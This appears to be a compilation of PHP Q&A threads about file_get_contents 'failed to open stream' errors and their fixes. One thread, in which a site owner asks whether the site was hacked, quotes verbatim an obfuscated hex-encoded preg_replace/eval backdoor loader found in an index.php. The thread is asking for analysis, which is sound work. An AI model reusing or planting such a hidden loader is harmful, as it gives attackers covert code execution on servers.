PHP Error "file_get_contents & Authorization Required" in Wordpress - php

i got a problem with one of my wordpress plugins. When i activate it this message shows on top of the screen.
Warning: file_get_contents(http://gruender-news24.de/wp-content/plugins/ultproteam_/includes/../css/font-awesome.css): failed to open stream: HTTP request failed! HTTP/1.1 401 Authorization Required in /mnt/web7/e3/69/5941469/htdocs/WordPress_08/wp-content/plugins/ultproteam_/includes/plugin-class.php on line 336
This code is on line 336.
$pTsubject = file_get_contents( $this->mainPath . '/css/font-awesome.css');
Im not really familiar to php and i couldnt figure it out by myself.
This seems to offer a solution but im not able to "transform" it on my special problem.
http://www.hashbangcode.com/blog/using-authentication-and-filegetcontents
Thanks alot for your help!

file_get_contents() utilizes the fopen() wrappers, therefore it is restricted from accessing URLs through the allow_url_fopen option within php.ini
OR
try using CURL.
lots of good answers in what looks like a duplicate question here.

Related

Failed HTTP request with file_get_contents without further specification

I'm trying to write the content of a page on my server to a variable using file_get_contents:
$lnk = "https://www.example.com/test%20file.php";
$otpt = file_get_contents($lnk);
The full URL is needed because I need the PHP output of the page and not the PHP script itself.
When running the above code I get this warning: failed to open stream: HTTP request failed! No other information, e. g. HTML error code, is provided. allow_url_fopen is enabled on the server. error_reporting(E_ALL) doesn't show any more information. The only thing which seems mentionable to me is that the file_get_contents request takes much too long (up to 30 secs) for the ~57 KB file I'm currently testing on.
I checked the Reference - What does this error mean in PHP?, but to no avail. I really have no idea what this message means since any further specification by PHP is missing. Any help would be very much appreciated.
Thanks in advance!

file_get_contents failed to open stream: HTTP request failed! HTTP/1.1 400 Bad Request in json

getting a error on file_get_content it is replacing & to & hence i am getting d error. data which i am getting is in json format.
original url is: xyz.abc.com/index.php/DeviceDetails/GetDeviceHistory?tracking_id=70&start_time=2017-03-05 13:14:50&end_time=2017-03-08 13:14:50
<b>Warning</b>: file_get_contents(http://xyz.abc.com/index.php/DeviceDetails/GetDeviceHistory?tracking_id=70&start_time=2017-03-05 13:14:50&end_time=2017-03-08 13:14:50): failed to open stream: HTTP request failed! HTTP/1.1 400 Bad Request
in
<b>/home/abc/public_html/php/service.php</b> on line
<b>1855</b>
<br />
{"Status":"false","message":"No data found"}
please help me with this error
Make sure you actual URL is starting with http:// or https:// and use quotes while calling file_get_contents
file_get_contents("http://your_URL_here")
Try running PHP html_entity_decode() on your URL before you pass it to file_get_contents(): http://php.net/manual/en/function.html-entity-decode.php (as Kuldeep Singh says above, be sure you are passing the URL as a string :D)
I have had many many many problems similar to this. It could be a number of things, a missing header, invalid user agent, bad php.ini config, etc.
I would highly recommend using a cURL Library that allows you to customize headers, port, etc. of the request so you can properly debug. This is the custom PHP cURL library I use: https://gist.github.com/schwindy/e5798405d0b6269945bdf037a58f6a4d
Hope some of that helps. Good luck.

Did my site get hacked?

I was randomly browsing a site on one of our servers, and I found this bit of code as the second line on index.php:
#preg_replace("\x24\50\x5b\136\x3c\135\x2b\51\x24\163\x69\145","\x65\166\x61\154\x28\47\x24\147\x63\155\x3d\67\x37\67\x37\61\x3b\47\x2e\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\42\x5c\156\x22\54\x66\151\x6c\145\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\51\x29\51\x3b\44\x67\143\x6d\75\x37\67\x37\67\x31\73","\x4c\62\x68\166\x62\127\x55\166\x59\62\x78\150\x63\63\x4e\160\x5a\155\x6b\166\x63\110\x56\151\x62\107\x6c\152\x58\62\x68\60\x62\127\x77\166\x62\107\x46\165\x5a\171\x39\152\x59\127\x4e\157\x5a\123\x38\165\x4a\124\x67\171\x4f\105\x55\154\x4d\104\x41\170\x4d\171\x56\103\x4f\105\x59\172\x4a\125\x4a\104\x4d\125\x49\154\x51\152\x49\171\x51\151\x55\60\x52\152\x55\63");
When I run it, I get:
Warning: file(/home/classifi/public_html/lang/cache/.%828E%0013%B8F3%BC1B%B22B%4F57): failed to open stream: No such file or directory
It looks like it's obfuscated to do something that it really shouldn't be doing. Can anyone explain to me how I can figure out what the intention was of this line of code? And whether or not my server was actually hacked?
What was the perpetrator trying to do? It is a site running NOAH CLASSIFIEDS script.
that is an hexa-coded text if you want to see the decoded version then see this
Decoded

I'm having trouble getting file_get_contents() to work on my server

I've got a php file on my server that looks like this:
echo file_get_contents('http://server.com/some.file');
and I get the following error:
Warning: file_get_contents(http://server.com/some.file) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /path/to/php/file on line 6
What's got me confused is that if I link to the/full/server/path instead of http:// it seems to load fine. Also, I can get it to load content from other domains using http://, just not my own.
Any ideas?
As deceze sayd test the path in a browser. It should work the same as in PHP. If the path you write is correct check your URL rewrites (maybe you have them different for the server IP).

file_get_contents() returns "failed to open stream" when hitting HTTPS

file_get_contents() is returning "failed to open stream" when I call it on an HTTPS URL.
Warning: file_get_contents(https://google.com) [function.file-get-contents]: failed to open stream: No error in E:\\htdocs\callback3.php on line 5
Same call will work with a non-SSL URL.
At first, I thought it was a security issue with my webhoster, but I have verified with phpinfo() that allow url open is indeed allowed. I have also tried this code and verified it works:
Anyone have any ideas why file_get_contents() is failing with an HTTPS URL?
update: People correctly pointed out this was an HTTPS issue. My webhoster claims this should work, and has no idea how to resolve this. Anyone have specific directions I can give them for their IIS7 setup?
That is probably because they are using the secure protocol https. This is strange though, in their examples, facebook is giving the similar example.

Categories